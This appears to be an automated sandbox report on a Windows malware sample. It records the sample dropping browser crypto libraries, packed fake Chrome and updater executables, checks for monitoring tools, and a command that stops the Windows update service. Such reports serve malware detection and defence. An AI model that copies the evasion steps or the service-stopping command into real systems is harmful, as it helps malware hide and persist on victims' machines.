Source:	Binary string: my_library.pdb source: xLgTQcFdIJ.exe, xLgTQcFdIJ.exe, 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214417858.000000006D051000.00000002.00000001.01000000.00000007.sdmp, xLgTQcFdIJ.exe, 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: nss3.pdb source: xLgTQcFdIJ.exe, 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: xLgTQcFdIJ.exe, 00000000.00000002.2214633161.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Unpacked PE file: 0.2.xLgTQcFdIJ.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Unpacked PE file: 0.2.xLgTQcFdIJ.exe.400000.0.unpack

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name:
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: .imports
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: .themida
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: .boot
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name:
Source: chrome_131[1].exe.0.dr	Static PE information: section name: .imports
Source: chrome_131[1].exe.0.dr	Static PE information: section name: .themida
Source: chrome_131[1].exe.0.dr	Static PE information: section name: .boot
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name:
Source: updater.exe.9.dr	Static PE information: section name: .imports
Source: updater.exe.9.dr	Static PE information: section name: .themida
Source: updater.exe.9.dr	Static PE information: section name: .boot

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_0041B335 push ecx; ret

0_2_0041B348

Source: xLgTQcFdIJ.exe	Static PE information: section name: .text entropy: 7.845308640839874
Source: EHDHDHIECG.exe.0.dr	Static PE information: section name: entropy: 7.966483454841862
Source: chrome_131[1].exe.0.dr	Static PE information: section name: entropy: 7.966483454841862
Source: updater.exe.9.dr	Static PE information: section name: entropy: 7.966483454841862

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\ProgramData\EHDHDHIECG.exe	File created: C:\ProgramData\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\EHDHDHIECG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_131[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\ProgramData\EHDHDHIECG.exe	File created: C:\ProgramData\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\EHDHDHIECG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\ProgramData\EHDHDHIECG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\Google\Chrome\updater.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Google\Chrome\updater.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\ProgramData\EHDHDHIECG.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00419F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419F20

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
